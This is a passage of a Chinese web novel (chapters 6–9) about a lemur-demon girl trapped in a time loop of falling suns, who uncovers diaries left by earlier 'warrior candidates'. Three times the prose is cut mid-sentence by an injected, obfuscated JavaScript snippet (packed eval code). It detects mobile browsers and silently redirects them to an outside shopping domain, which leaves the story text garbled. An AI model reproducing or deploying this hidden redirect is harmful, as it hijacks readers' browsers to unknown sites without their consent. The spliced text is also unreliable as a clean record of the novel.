姜绕月觉得有趣,第一次坠日时,她们是午后来镇上,而这次,她们上午便来了,原来上午来,可以碰见老板的一双儿女。 计槐上去搭话:“小妹妹,你以后想要成为什么呀?” 小女孩很乖巧回答,将芭比娃娃抱得更紧:“想成为公主。” “咦~~~!”男孩闻言,作不敢置信状,“公主有什么好,要做就做骑士!做拯救世界的英雄!” 姜绕月忽然被击中了。 为什么世界上只有她记得一次次坠日。 究竟她是世界上最倒霉的那个。 还是说,她肩负神圣使命,要成为拯救世界的英雄? “公主也可以是英雄,”这时,一位温婉妇人走来,“骑士也不一定便是英雄。” 男孩不理解:“可是妈妈,公主柔弱胆小,是骑士保护的对象,怎么可能是英雄?” 这话说的,姜绕月出声反驳了:“英雄便一定要强大无畏吗?” 男孩更不理解:“可是不强大不无畏,怎么拯救世界呢?” 姜绕月被问住,是呀,不强大、甚至懦弱胆怯,怎么拯救世界,成为英雄? 就像她,她强大吗?并不,她只是一个尚化形的妖怪,妖力微弱。 她无畏吗?并不,太阳掉下来时,她害怕得发抖。 如果抛开妖怪身份,她只是一个被淹没在人海里的普通女孩。 所以,一个不强大的、懦弱胆怯的普通女孩,怎么肩负拯救世界的使命? 两小孩母亲:“很多事情都不是单一面。没有怯懦,便没有勇敢,没有弱小,便没有强大……” “听不懂啊妈妈!”男孩打断母亲的话。 老板这时出来,要揍男孩,男孩赶紧逃走,老板才笑看向她们两人:“来刮彩票的?” “唉,”回程路上,计槐边开车边道,“差一点,我们就能买下不归林。” 姜绕月回复:“这可不是一星半点。”她们只刮中五块钱…… 计槐依旧诡异自信:“要这样想,在刮彩票之前,我们真的有可能刮中买下不归林的钱,但是就差那么一点……” 姜绕月理解了计槐的信心,无非是薛定谔的猫,彩票是薛定谔的盒子,刮开之前,同时拥有中奖和不中奖两种可能,刮开那瞬间,未来只有一个,另一个永远消失。 计槐口中的“差一点”,竟真的只差一点,第一次坠日那次,它就实现了。 又来了,她为什么知道所谓的“薛定谔的猫”?她一个日山土生土长的环尾狐猴,一个不久前化形的狐猴妖怪,怎会得知人类世界理论? 姜绕月偏头,风从车窗缝隙而来,夕阳日渐下沉,原野之上,铺盖如血晚霞。 她问出那个终极命题,我是谁?我从何而来,我要到哪里去? 我的身份到底是什么?我在成为日山环尾狐猴之前是什么?我来此的目的是什么? 目的…… 夕阳更下沉,苍红晚霞犹如英雄背后披风,随着风,飘荡到姜绕月眼里。 两人小镇之行,带回不少食材,计槐回到不归林,大声招呼:“同志们,我们今晚吃火锅!” 日落西山时,火锅氤氲热气升腾而起,山林间风止鸣停,不归林里热闹交谈声不断。 姜绕月没有心思,满脑子都是接下来的坠日,还会提前吗?一旦坠日,便是末日灾难,她能做些什么,才能阻止坠日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486401|202032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 或者,她得弄清楚,太阳为什么会掉,以及,此太阳不可能是科学意义上的太阳,它究竟是什么? 问题回到这,她现在能做什么?坐以待毙?不,她得想办法。 目前唯一突破点,便是她的妖力,若她的妖力足够强大,是否能护住这个世界? 她应该继续修炼。可是,接下来不到几个小时时间,能修炼到哪去? 炼不到哪去也得炼,绝境希望便是这样来的。 姜绕月借说自己不舒服,回到自己房间,她像在日山那样,打坐吸收日月精华。 她回想,过去那只小狐猴,是怎样变成拥有妖力的妖怪?想不起来,只记得口中一次次嗥叫。 “绕月,好点了吗?”门外,计槐的声音传来,“我给你煮了清汤蔬菜,要不要吃点呢?” 姜绕月睁眼,体内妖力一如既往得微弱,她走过去,打开便见计槐笑脸:“我们一起下去吃吧,沈队长吃饱回房间了。”沈归岷也一如既往得人缘不好。 廊外无边夜色,姜绕月不觉生成破罐子破摔之感,坠日来就来吧,她不怕,只要一次次“昨日”再现,她总能找到阻止坠日的方法。 小厅内,欢声笑语,快乐幸福,仿佛能持续到永远。 但是没有永远,连明日都没有。姜绕月心中的积极,总被一双无形手拉下来,变得丧且消极。 杯中饮料倒映出自己,这个愁眉苦脸的人,是谁? 姜绕月抬起掉下去的嘴角,不能被自己的恐惧无助打败啊。要不惧再来,要在一次次绝境里找到生的希望。 然而。 火锅红油翻滚,岩浆从内汹涌而出。姜绕月最先被烈焰岩浆灼烧,一时化为原形。 于第二日凌晨00:00分,太阳准时坠落,再次提前半小时。 直到计槐上去抱住毛茸茸的她,像第一次见面那样:“别怕别怕,不疼不……”话未完,被火舌舔舐殆尽。 “到底……”段干回惊惶,怎么回事四字未完,便化为灰烬。 姜绕月嘴角再也抬不起来,如今这地步,简直没有希望可言,她一次次保留“昨日”记忆,更像诅咒。 你是一个胆怯弱小的少女,怎可能变成身披胜利、无惧无畏的强大英雄? 然而,“第二日”太阳升起,姜绕月再次醒来,仿佛希望也随之升起。 究竟是希望,还是绝望? 姜绕月变得沉默寡言,不归林里,压抑氛围如暴雨前的阴空。 计槐首先忍不了,也没跟沈归岷说,和段干回一起,邀着姜绕月出去。 依旧是小镇。 段干回:“绕月,你第一次来吧?” 哪有,这次是第三次来。 姜绕月:“嗯,第一次来。” “绕月,你不开心,”计槐笃定道,“要在昨日,你肯定很开心说,是呀,我第一次来!有什么好玩的地方,我们去玩!” 昨日?姜绕月有些混乱,昨日热闹到很晚都没吃完火锅,却面临坠日的昨日吗? 不对,是沈归岷外出,计槐跟她说“沈归岷晚上可能不回来,房间很隔音”,她睡了前半夜,恢复精力后,后半夜凌晨一点起来打麻将,被沈归岷一顿数落“不准”的昨日? 也不对,凌晨一点已经算今日了。 何为昨日,何为今日,何为明日? 昨日混乱,今日混沌,明日不再。 姜绕月更加失落,虽然她觉得自己应该振作,去想办法,但是冥冥中,总有一双无形手,把她拖进绝望深渊,再爬不起来。 如果世上还有一人,她也知道坠日一事,但那可能吗…… “太阳掉下来了!” 姜绕月震惊回头,看到一个蓬头垢面、全身脏污的……疯子。 她?他?再次大喊:“太阳掉下来了!”随即,疯疯癫癫穿过人群跑走。 “太阳掉下来了!”疯子高声嘶喊,嗓音听来如同皲裂大地。 7. 第7章 “精神病人?”段干回目送疯子远去,诧异不已。 计槐忖度:“附近没精神病院吧。” 段干回:“从家里跑出来的?哎!绕月你去哪!” 姜绕月朝疯子追去,这世上真有人和她一样,记得一次次坠日? 不管怎样,她要追上那人! 今日是小镇赶集日,一整天都很热闹,人潮拥挤,车辆来往,姜绕月穿过琳琅满目的摊贩,寻觅灰暗背影。 好不容易瞅见梦寐以求的影子,人流却再度涌来,姜绕月心中焦急,眼见疯子即将绕过转角消失,一时间,她顾不上许多,撞开人流,去抓,抓到了! 灰色衣袖却像河流一般,从手中流走。 消失了。 人群遮蔽她的视线,再也看不见。 计槐气喘吁吁赶来:“绕月,你怎么突然跑起来了?发生什么事了吗?” 姜绕月心中还有希望,她一定要找到这个疯子:“可以帮我找个人吗?” 段干回紧赶慢赶而来,闻言问:“谁呀?” “我们方才看到的,你口中的精神病人。”姜绕月回复。 “啊?”段干回满脸迷茫,“我们方才看到了谁?什么精神病人?” 计槐也颇疑惑:“哪有精神病人?小镇没有精神病院,市里才有。” 姜绕月一时如坠冰窖,她不死心,将他们三人见到疯子一事说出来,尤其两人对此的话语,甚至说出那句“太阳掉下来了”。 却对上两人更加担忧的目光。 段干回:“绕月,你是不是产生幻觉了?我们来镇上后,根本没见过你口中的疯子。” 计槐也道:“是没睡好吗……” 两人后面的话,姜绕月听不下去,她疑惑,明明都看到了,为什么没几分钟忘了?是作戏?是戏弄她? 不会。计槐、段干回不可能无聊到这地步。 难道真是她的幻觉? 口中说着“太阳掉下来了”的疯子,其实根本没这个人? 真的没有吗? 面对计槐、段干回关切询问,一遍遍安慰她,是幻觉,没事的,是你太累了,然而眼底像看异类的目光,和两人看到疯子时的目光一模一样,尽管没那么明显,但确实存在。 平白无故跑起来,还莫名其妙说一个“不存在的人”,怎么想都会认为,她是个精神病吧。 骤然,车鸣、商贩吆喝、买家讨价还价、两人关切话语,所有声音如潮水退去。 万千人流里,她是一条透明的孤独河流。 她的灵魂浸溺其中,下坠、下坠,即将沉底,蓦地,她抬起头来,游过冰寒河流,爬出阴暗水域。 姜绕月抬起嘴角:“我昨晚没休息好,打麻将去了。” 两人目光恢复正常,计槐放下心:“我就说嘛,怪不得你一整天都不开心,刚还……果然没休息好,这样,我们回不归林吧,下次再来逛。” 车上,姜绕月一遍遍回想疯子,试图撩起疯子遮蔽面目的发丝,看清他的脸,终是徒劳。她记得碰见疯子的时间,打算下次同样时间,去同样地点,看能不能再次碰上。 疯子是突破口。 三人出不归林时,大概下午三点,在镇上随便逛了逛,便碰到疯子,这会回去快要六点。 如果这次也提前半小时,半夜11:30即出现坠日。 头顶的达摩克利斯之剑即将再次坠落,穿透她的身体,痛苦恐惧反射性笼罩她,不害怕是不可能的,一次次煎熬死去,不痛苦更不可能,人之常情。 同“昨日”一样,晚霞似火,与其说似英雄背后鲜红披风,不如说更像燃烧生命时最灿烂的灵魂。 姜绕月心中的低落,被霞光照耀,她不能再消沉下去,要抓住疯子这个突破口,找到前往明日的方法。 段干回、计槐聊着天,姜绕月沉寂许久,终于加入谈话,眼梢生机一如最初。 瞳仁倒映落山夕阳,姜绕月眼神带笑,眼稍生机托起夕阳。 夕阳往下坠落,姜绕月心中的太阳却缓缓升起。 之前的她是溺水之人,现在她找到上岸线索,哪怕它可能只是一个“自以为是”的线索,它也是希望,在姜绕月这里,点滴希望也是托举她向上的希望。 哪怕这次希望破灭,她会再次寻觅希望,希望不死,她会永远生机勃勃。 然而,姜绕月眼梢生机能托起一个夕阳,能托起两个吗? 只见,西侧是正常的下沉夕阳,东侧那个亮闪闪光球是什么? 段干回眨巴眨巴眼:“两个太阳?没看错吧?” 计槐:“你没看错。而且……东侧太阳掉下来了!速度好快!” 姜绕月不敢相信,难道不是每次提前半小时吗?为什么这次…… “现在几点了?”她问。 段干回掏出手机:“刚好下午六点。” 以为坠日有规律,其实没有规律,都是姜绕月自以为是,衬得方才心中希望显得可笑。 冥冥中,姜绕月看到东侧坠日,在大肆嘲笑,太可笑了,你那劳什子希望,太好笑了!我随随便便碾碎你好不容易鼓起来的希望勇气。 几秒时间,坠日降临地面,最后一眼是段干回血裂的脸,他绝望道:“你说的是真的?”真的有疯子,真的有“太阳掉下来了”。 火光燎原,寸草不生,生命死亡终结,连挣扎都不能。 阳光再一次照到姜绕月脸上,她挣扎而起,关闭闹钟,一个人躲进洗手间,连开门进来的沈归岷都不理,沈归岷瞟了她的背影,想说什么,还是推门离去。 姜绕月一遍遍用冷水拍脸,试图把记忆里滚烫岩浆烈火拍下去,脸是冷下来,心中的恐惧害怕却如火山喷发而出。 上次是下午六点,这次呢?会是几点? 时时刻刻,随时随地,煎熬痛苦。 “呜。”姜绕月终于忍不住嚎啕,她想回日山,想回母亲身边。 可是,回日山能怎样?回母亲身边,能改变灭绝的未来吗?反而白白让母亲担忧。 号啕大哭之后,姜绕月冷静下来。 她木然地看着镜里的自己,平心而论,她的脸符合人类世界审美,却给她极度陌生感。 她为什么长这样?为什么叫姜绕月?为什么知道比如农奴、专制、薛定谔的猫之类的知识?还会打麻将? 一个土生土长的日山环尾狐猴,哪怕修成妖怪,知识能凭空出现? 所有疑问归结为一句,我是谁? 妈妈会告诉你你是谁,姜绕月心中莫名浮现这样的话,好吧,归根到底,她真的想回日山了。 那就回去问问母亲,她到底是谁。 如果坠日不那么早发生,姜绕月计划上午回日山,下午去镇上“偶遇”疯子。 她化为狐猴形态,灵敏地离开不归林,进入深山老林,穿过一片片绿林,回到日山的家。 此时太阳高照,族群所有环尾狐猴都面朝太阳,摊开四肢,阳光洒遍全身,在人类世界里,它们由于爱晒太阳,被唤为“太阳崇拜者”。 姜绕月跑到母亲身边,她的环尾狐猴母亲,有些傻傻的,她用族内语言问:“妈妈,我是谁呀?” 母亲回复:“你是我的孩子。” 姜绕月试探着问:“……我在成为你孩子之前,是谁呢?” 母亲笃定:“是太阳。” 其他族员也说话了:“你是太阳啊。” 姜绕月摆手:“我哪是太阳!” 母亲解释:“我当初怀你的时候,便感觉自己肚子暖暖的,像怀着一个小太阳。” 其他族员:“而且,你完成了我们派给你赶走好事者的任务,你是我们族群的希望,你当然是太阳,是我们族里的太阳!” 姜绕月听到这,虽然她确实为了族群任务做了些事,但保护日山动物,不让可疑人员入内,应该是沈归岷做的。 面对母亲充满爱意的眼神、其他族员全然信赖的目光,姜绕月有点泄气,她告别族员下山。 下山路上,路过当初捉弄胖子眼镜的哀嚎坡,哀嚎坡上点灯——找替身,一句,还是她在哀嚎坡上乱挖着玩,刨出一张废纸看到的。 废纸?废纸!线索,希望! 姜绕月飞奔而去,将哀嚎坡挖个底朝天,一张废纸、两张废纸,几十张废纸,挖到最深处,甚至找到她当初联系胖子眼镜的手机! 挖坡的时候,她胡乱看了看废纸,越看越心惊,现在,她按照废纸下的标号将废纸排序,再看。 第一张: 我叫姜绕月。我不是环尾狐猴,我是人。 我因为“战士选拔”来到过去世界,变成了猴子。 第二张: 族群叫我“小太阳”,说我太活泼好动,像太阳一样。 我很不开心,凭什么我叫“小太阳”? 我姐姐在她所在的世界,却是真正的太阳? 第三张: 太无聊了,除了日日跟随大部队晒太阳,无事可做,我决定记下我在这个世界的经历,以及想法。 每当听见它们唤我“小太阳”,我都不开心。 我和姐姐同为“战士候选人”,凭什么姐姐去了未来世界,还是以人的身份,她还是未来世界的太阳,真正的太阳! 我却留在过去世界,以猴子的身份!还是假的“小太阳”! 不公平,不公平! 第四页: 很久没记录。 因为太阳掉下来,整个世界都毁灭了。 而死亡后,我会回到太阳掉下来前一日,应该是前一日? 我不知道时间。 第五页: 费尽心思,下山抢了个手机,我要记载坠日时间。 第六页: 坠日时间很混乱,从我抢到手机开始记录,按顺序分别是:5月10日中午十二点,5月9日下午五点,5月10日凌晨三点,5月10日凌晨四点,5月9日晚上九点半,5月9日晚上九点,5月9日晚上八点半,5月10日下午三点。 坠日没有规律。 每次坠日发生后,我都会回到5月9日清晨八点。 我觉得,我要疯了。 看到这里,姜绕月停住,她经历的坠日时间,分别是5月10日凌晨一点、5月10日凌晨十二点半、5月10日凌晨十二点、5月9日下午六点。 她看到废纸上的日期,还有5月10日凌晨三点,5月10日凌晨四点,5月10日下午三点,以为“昨日”终过,“明日”来临,却没料到,“明日”也是虚幻,她都能想见,那时的绝望。 第七页: 满页的痛苦两字。痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦痛苦…… 第八页: 满页的“为什么是我”。为什么是我为什么是我为什么是我为什么是我为什么是我为什么是我为什么是我为什么…… 姜绕月看到这,能感同身受,是啊,为什么是我,为什么是我记住一次次坠日,为什么是我要一次次挣扎煎熬?为什么我不是无名的你我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第十六页: 很久没记录,上次坠日是早晨,日出也出来了,坠日和日出同时发生。 天空中,一个向上,一个往下,同时进行。不过,世界还是毁灭。 但我回到最初,成了那只刚出生的小狐猴,窝在狐猴妈妈的怀抱,坠日不再发生,我平静渡过生长期。 当然,抢来的手机不会跟随我回到最初,它应该回到自己真正主人身边了。 那些记录纸张也消失不见,小时候、尚在成长期的我,反正没在日山上找到半张。 第十七页: 坠日是不是真的消失了? 其实,坠日和日出同时进行,是解决坠日灾难的钥匙? 第十八页: 坠日真的结束了!真的结束了!真的结束了! 好吧,是我在祈求坠日真正结束。但5月9日、10日没来,我无法下定论。 还得下山去抢手机。 第十九页: 好吧,终究是我天真。 坠日如约而至。 我下山抢到手机。 很奇怪,怎么被抢的对象都是同一个男人? 第二十页、二十一页,一直到二十九页,满篇的痛苦黑暗求饶哀哭。而第三十页,满页害怕,我好怕,妈妈,我怕疼,妈妈……真的没有一点希望,也可能有希望,但希望是更深的绝望。 一次次坠日,一次次死亡。 一次次希望复燃,伴随坠日带来更深绝望。 直到第三十一页: 很久很久没有记录。 我终于发现坠日规律。 单次坠日没有规律可言,但是,坠日和日出若同时出现,便是一次循环的终止,第二次循环的开始。 在我经历坠日和日出同时发生,世界毁灭后,我会回到变成猴子的第一日。 之后,若再经历日出坠日同时刻发生,我再次回到变成猴子那日,重新成长到经历坠日。 直到日出坠日再次同时发生,回到变成猴子那日,再次经历坠日,直到日出坠日……再次循环。 死死生生。生生死死。 困在循环,变成一个非人物。 若一次循环算真正的死亡,我目前死了三遍。我已历经三个循环。 我的老师曾说,鬼是未死透的人,妖是死了两遍的鬼。 我成为了妖怪。 第三十二页: 我叫姜绕月,我是来自……的人,因参加“战士选拔”,成为“战士候选人”,后被投送到过去世界,成为日山上一只环尾狐猴,在历经三次坠日循环,我从人变成了鬼,之后变成妖怪。 我有了妖力,妖力会是阻止坠日的希望吗? 第三十三页: 我的妖力太微弱,除了操控物体外,没半点用处,哦,还能疗愈自身,疗愈速度比不上坠日燃烧速度,徒然增加受难时间。 第三十四页: 我依然在寻觅希望,费劲巴拉找到希望后,希望总会破灭,随之而来是更深的绝望。 但我不死心,依旧在找。 或许。我不死心的行为,便是永恒希望。 只要我一直在找。 第三十五页: 我在一个坡上,找到过往的记录纸张,每一张都在,将它们按记录时间排序,在纸张下方写上标号。 这是第三十五页。 记录下来,做好编号,总归没错。 因为我总觉得,我会忘记一切。 8. 第8章 第三十六页: 自从我冥冥中感应到自己会忘记一切,每次坠日后,回到9号清晨八点,我第一时间问自己,还记得吗?我回答自己,还记得,行为很愚蠢,但叫我心安。 记录纸张,可以叫记录日记吧,我基本在9号写,之前写完就扔,没人上日山来,自然无人看到,直到我总能在日山找到之前写的日记,我才将它们集成册子,几次坠日后时间倒回,我也总能在日山找到小册子。 上一次,我在坡上找到,还在每张纸张下标上序号。 这次,我也去坡上找,小册子果然在坡上,它静静躺着,等待我找到它。 上次坠日时留下的序号还在,我从第一页翻到第三十五页,像在翻我的灾难史。 找到记录日记后,我再去找那个包,包里有纸和笔,一直以来,我都用那个包里的纸笔。 包在原来的位置,乱石缝里。 这是一款神奇的包,我数了,包里永远有一百张纸,笔芯墨水永远在顶部。 我现在莫名冷静,之前从未查探过这个神奇包,此刻,我将包掏个底朝天,竟从夹层里找到一张卡片。 卡片上: 战士候选人ID:宫发 技能:记录 附加说明1:拥有此技能的战士候选人,能跨越世界线和时间线,记录想记载的一切。 附加说明2:战士候选人死后,技能会转移到下一个使用“记录”纸笔的人。 附加说明3:愿你的记录给自己希望,也给其他人希望。 怪不得我用包里纸笔记录下来的东西,能忽视坠日后时间倒流的存在。 我想,宫发应该是在我前面,被投送到这个世界的战士候选人,但是他死了?怎么死的?他也经历了我所经历的吗? 既然我也是战士候选人,那么,我也有技能吧,我的技能呢? 我忘了。 我之前感觉这个包莫名熟悉,为什么会熟悉?我认识宫发吗? 我忘了。 第三十七页: 因我夺走宫发的“记录”技能,记录日记才会经历一次次坠日后,依旧存在。 但我记得,第一次循环(担心自己会忘,特此说明,坠日日出同时发生,为一次循环的终止,第二次循环的开始)后,我重新成为刚出生小狐猴,在成长期间,我并未找到之前的记录日记,之后仍时不时记录,还是随写随扔,直到我在一个坡上找到之前所有记录日记。 我身边不仅有神奇的包,还有神奇的坡。 上次,我仅仅拿走坡上的记录日记便走,这次,我要挖开这个坡。 坡里,密密麻麻的骸骨,一具堆叠一具,我越挖越麻木,挖不完,真的挖不完,我放弃了。 在里面,我找到宫发的记录日记,随便翻了翻,他跟我一样又不一样,不一样的是,他来到这个世界后,并未成为猴子,而是本来身份面目。 同样的是,他也经历了绝望坠日,其中他记录很多阻止坠日方法,都失败,他甚至想过逃离这个世界,终无果,中间好几页布满污渍,看不清文字,最后一页,他记载着:骨埋深泥终作土,风过空谷尚哀嚎。 我仿佛听见,宫发从地底深处而来的痛哭哀嚎,放过我吧,让我走吧。 姜绕月看到这里,这两句诗,她在伪装茶老板时,说给胖子眼镜俩人听,原来,出处在这里,彼时的她,根本不记得自己所写的记录日记,更不记得发生过的事,她真如日记所言“忘记了一切”。 但她怎么说出这两句诗了呢?好吧,这两句诗是她下意识说出来的,彼时,她还觉得自己真有文化,能出口成章…… 她继续往下看: 我不仅找到宫发的记录日记,还找到十份战士候选人身份卡。 其中一份解释了“神奇的坡”能力。 战士候选人ID:诺顿·贾德森 技能:骨冢 附加说明1:可利用技能选定某处为“骨冢”,骨冢之地,埋葬战士,如果不能选择怎样生,你可以选择怎样死。 附加说明2:骨冢之地,可找到你目前最需之物。 附加说明3:若你正处在“候选历练”期,你并不能想死就死,得在经历“历练节点”后,奔赴你想要的死亡。 附加说明4:战士候选人择好自己的骨冢之地,按自己所想方法死后,本技能直接转移给下一位来到骨冢之地的人。诺顿·贾德森为第1278位。下一位就是你——姜绕…… 附加说明5:本技能不为生,不为死。愿你向死而生,也祝你向死而生。 我在这个坡上,找到我自己的记录日记、宫发的记录日记、那位诺顿·贾德森的身份卡。这三样确实给我目前困境有了帮助,至少我知道不止我,还有其他战士候选人来过。 我望着眼前这个坡,此地骸骨累累,便是“骨冢之地”。 我看着附加说明3,所谓的“历练节点”是什么呢?必须得经历什么“历练节点”,才能奔赴自我解放? 至于附加说明4,诺顿·贾德森为上一位“骨冢”技能拥有者,而我是下一位拥有者,但是,为什么“姜绕”后面那个字模糊看不清呢?我仔细去辨,能看出是“月”字上半部分,但下半部分再看不清。 多半是我,应该不会那么巧,有人跟我同名吧。我竟获得“骨冢”技能。 诺顿·贾德森为第1278位。那么我是第1279位。我看坡内骸骨,虽然很多,但不至于一千多具,顶多百具,百具也很多了。 我倾向于认为,坡内百具骸骨,是来到这个世界的战士候选人。 不过,我还是得核实一下。歇了会,我继续挖,挖到其他战士候选人身份卡、甚至还有五份战士候选人记录日记,记载坠日经历,但都不完整,好几页都有污渍,我看得混乱不已。 但无一例外,他们来到此世界后,都是原来的人类身份,而不是我这样,成为日山环尾狐猴。 最最震撼的,我翻到“骨冢”拥有者书册,这个书册名为“曰归”,这俩字明晃晃位于书皮正中,不觉讽刺,还曰归? 我仔细看这本《曰归》,它记载了“骨冢”技能拥有者姓名,及其选定的骨冢之地为何地,甚至画了图,从第1位到第1279位,最后一位是我,除我只写了姓名外(这里的姓名也是月字略模糊,只能依稀辨出个月字,我觉得奇怪,为什么别人的名字不迷糊,单单我模糊?先记在这),每位都写了姓名和他的骨冢之地。 从第1156位开始,所有技能拥有者选定的“骨冢之地”皆为日山山坡,这个山坡和眼前山坡别无二致。 也就是说,从1156位开始,接近一百位的战士候选人都来到这个世界,都拥有了“骨冢”技能,且都选择这个山坡为死亡之地。 为什么是这个地方?为什么都要选择这个平平无奇的山坡为“骨冢之地”? 我左思右想,到底为什么? 第三十八页: 又很久没记录。 坠日照常发生,按理来说,经历的次数多了,死去的次数多了,应该不会那么害怕恐惧了吧?事实却相反,我越来越恐惧绝望。 恐惧绝望没有最高阈值,它会一次次冲破记录,直到我彻底崩溃。 我想,我真的快要崩溃了。 好想回家。好想妈妈。好想爸爸。不点也不想姐姐。 为什么“骨冢”拥有者书册叫《曰归》?难道死亡是归家? 真是…… 我回想我是怎么来到这个世界的。如何告别父母,如何忽视姐姐关切话语,如何踏上船舶,如何穿过姜水之森,来到过去世界。 ! 我想起来了,穿过姜水之森后,我便站在了日山山坡那。 那个平平无奇的山坡,是我来到这个世界,第一个落脚的地方。 同样,也是来此战士候选人的第一个落脚地,更是回去自己世界的通道。 为什么一百多位战士候选人选择那个山坡为“骨冢之地”,因为那是回去的地方。尽管都回不去。 骨埋深泥终作土,风过空谷尚哀嚎。 不是一声哀嚎,是数不尽的哀嚎。 一声一声,皆来自战士候选人。 我给这个坡命名为“哀嚎坡”。 哀嚎坡,是埋葬战士候选人的坟墓,这是一群被投送此地、起初昂扬斗志、最终绝望赴死的异乡人。 或许,不久的将来,我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486403|202032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会躺进去。 第三十八页: 好了,看过神奇的包、神奇的坡,该神奇的手机了。 迄今为止,我经历了三个循环(日出坠日同时发生,为一次循环的终止,第二次循环的开始),这次是第四个循环。 在这个循环,我成了妖怪,有了细微妖力。 我老师跟我讲过“妖怪”这种生物,鬼是未死透的人,妖是死了两遍的鬼,事实上,人、鬼、妖,在术语上分别是鬼种、妖种、人种,他们不是古籍中偏灵异志怪的妖魔鬼怪,而是不同的生物种。 没错,在老师的教导里,鬼种、妖种,和人种一样,都是生物,只是他们更奇特。 对于妖种来说,他们的妖力是生物电磁能,修为是神经网络优化,化形术是细胞重构或光学投影。 老师只讲到这,因为他轻视妖种,觉得妖种不过一群畜牲。 但我如今沦为妖种,得试试所谓的妖力、修为、化形。 我觉得可以试试化形,至少猴子的毛茸茸手化成人类手,然后用指纹解锁手机。 我写到这,如果可以重来,我会告诉自己,不要解锁手机,不要解锁手机,不要解锁手机。 没有如果。 我好不容易将猴子手化成人类手,尝试着往指纹锁上摁,居然开了。 然后,入目的便是一条视频。 一个戴着眼镜的男人对着镜头说:“我这个账号,眼镜探险,拍的全是作假视频。但是,今日视频是真的。世上真的有妖怪……要对一切充满敬畏之心。最后……” “不要来,不要来日山,他们在找替身,永远不要来日山……” 姜绕月看到这,手都拿不住记录日记。日记落地,哗啦啦被风吹响。 怎么会?怎么会? 姜绕月回想自己的全部记忆。 从小猴子开始,仔细回想。 她记得自己窝在狐猴母亲怀抱,记得自己跟族群玩耍晒太阳,记得自己突然有了修为,记得自己化形前日夜嗥叫,记得自己化成人形,记得自己的嗥叫吸引好事者来日山探险。 记得自己接受族群任务前去赶走好事者,记得自己用手机线上约好合作,记得自己如何戏弄胖子眼镜两人,记得自己成为不归林一员,记得坠日。 但没有记得曾经的曾经,没有记忆告诉她,你曾经的曾经,也做过同样的事。 好久后,姜绕月堪堪冷静下来,继续往下看: 我一遍遍看这个视频。 我忽然想起,我好像见过这个人,这个人身旁还有个人,他们是谁? 他们是谁,我不知道,我只拿胖子眼镜称呼他们。 是的,此刻的我,想起某些回忆,为什么是某些,因为我不确定这是不是我全部记忆。 我想起我踏上船舶穿过姜水之森,来到日山山坡,想起我来到日山山坡后,灵魂便被吸走,吸进一只狐猴母亲的肚子里,成为她的孩子,想起成长期无忧无虑日常,想起经历坠日。 想起自己经历三次循环后,成为妖怪,想起自己在第四次循环里,毛茸茸手化成人类手,解锁手机,看到眼镜录的“他们找替身,不要来日山”视频。 想起自己在下一个循环里,即第五个循环里,失去所有之前循环记忆,日夜嗥叫,终于化成人形,嗥叫吸引好事者,族□□给我赶走好事者任务,眼镜胖子中计上山,被我捉弄,眼镜拍下“他们找替身,不要来日山”视频。 之后我成为不归林一员,经历坠日,此时的我不记得之前循环的一切,直到我再上日山,在“骨冢之地”找到自己的记录日记和手机。 现在我想起了这些。 我终于知道,那个多次被我偷走手机的男人是谁了。 他是沈归岷。 XXXXXXXXXXXXXXXXXXXXX 然后,一切循环。 整个世界都在循环。 看到“整个世界都在循环”这里,姜绕月停下来,在“然后,一切循环”上方还有大段文字,但她看不清,那是一团看不清的污渍。 最后一页,只有半张纸,纸的上方被烧毁,下半部分只有一句话: 哀嚎坡上点灯——找替身。 9. 第9章 最后这张纸,便是当初在哀嚎坡上乱挖着玩时,看到的废纸,她看完后便扔,没放在心上,那时,她没想过再多挖挖,指不定能找到其他记录纸张。 不过,也不一定能挖到。 哀嚎坡是“骨冢之地”,“骨冢之地”,可找到你目前最需之物,“目前最需之物”便很难说了,曾经的她尚且能在哀嚎坡挖到战士候选人尸骨,怎么这次没挖到?更别提找到其他战士候选人记录日记。 “骨冢之地”像一个游戏固定刷新点,她来这个地方,可以刷新到某些游戏信息。 如果她是初级玩家,那么可以刷到初级信息,比如当初她只挖到一张“哀嚎坡上点灯——找替身”纸,如果是中高级玩家,便可刷新中高级信息,比如找到自己曾经的记录日记、战士候选人记录日记、身份卡、骸骨。 而初级玩家、中高级玩家的区别,姜绕月思考一下,她认为,大概率是记忆的区别。 初级玩家忘记自己大部分记忆,甚至忘记自己战士候选人的身份、来到这个世界的真实目的,她只有来到这个世界后的一部分记忆。 而中高级玩家,要么记得来到这个世界后的大部分记忆,要么便是想起一切。 根据“玩家”记忆,选择性抛出有用信息,是“骨冢之地”的作用之一。 姜绕月理了理目前收到的信息,这些信息回答了她之前某些问题。 能认字、听懂人类语言、知晓某些科学物理知识、会打麻将、利用手机沟通他人,是因为她本来就是人类。 但她这个人类,却不是此世界的人类。 就记录日记来说,她目前所在世界叫做“过去世界”,她的姐姐在“未来世界”。根据时间线划分过去世界、未来世界? 